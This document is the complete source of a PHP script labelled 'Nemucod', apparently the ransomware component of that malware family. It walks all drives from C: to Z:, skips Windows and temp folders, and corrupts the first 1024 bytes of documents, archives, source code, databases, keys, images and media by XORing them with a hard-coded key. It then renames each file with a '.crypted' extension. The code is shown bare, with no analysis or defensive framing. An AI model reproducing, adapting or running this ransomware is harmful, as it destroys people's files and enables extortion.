Nemucod PHP script

set_time_limit(0);

for ($i = 67; $i <= 90; $i++)
    if (@is_dir(chr($i).
            ':')) Tree(chr($i).
        ':');

function Tree($p) {
    $a = 'e';
    $k = base64_decode('MWKTZJbIzBBUnANq/mTKmNwgb8ghwPgw8GDQUqf8JliKpAdqsCCQNoPQ+XDncNc+yBBY5EaonBCElPVWI3rRrO4wH1iRYMQoD3bdKIzw6CBYKI70QbYrMJgA9kCKQJLkyzahLGKY');
    $s = chr(92);

    if (preg_match('/'.$s.$s.
            '(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i', $p) || preg_match('/recycle/i', $p)) return;

    $dp = @opendir($p);

    if ($dp === false) return;

    while ($o = @readdir($dp))
        if ($o != '.' && $o != '..') {
            if (@is_dir($p.$s.$o)) {
                Tree($p.$s.$o);
            }
            elseif($a == 'e' && preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i', $o) || $a == 'd' && preg_match('/[.](crypted)$/i', $o)) {
                $fp = @fopen($p.$s.$o, 'r+');
                if ($fp !== false) {
                    $x = @fread($fp, 1024);
                    for ($i = 0; $i < strlen($x); $i++) $x[$i] = chr(ord($x[$i]) ^ ord($k[$i % strlen($k)]));
                    @fseek($fp, 0);
                    @fwrite($fp, $x);
                    @fclose($fp);

                    if ($a == 'e') {
                        @rename($p.$s.$o, $p.$s.$o.
                            '.crypted');
                    } else {
                        @rename($p.$s.$o, preg_replace('/[.]crypted$/', '', $p.$s.$o));
                    }
                }
            }
        }

    @closedir($dp);
}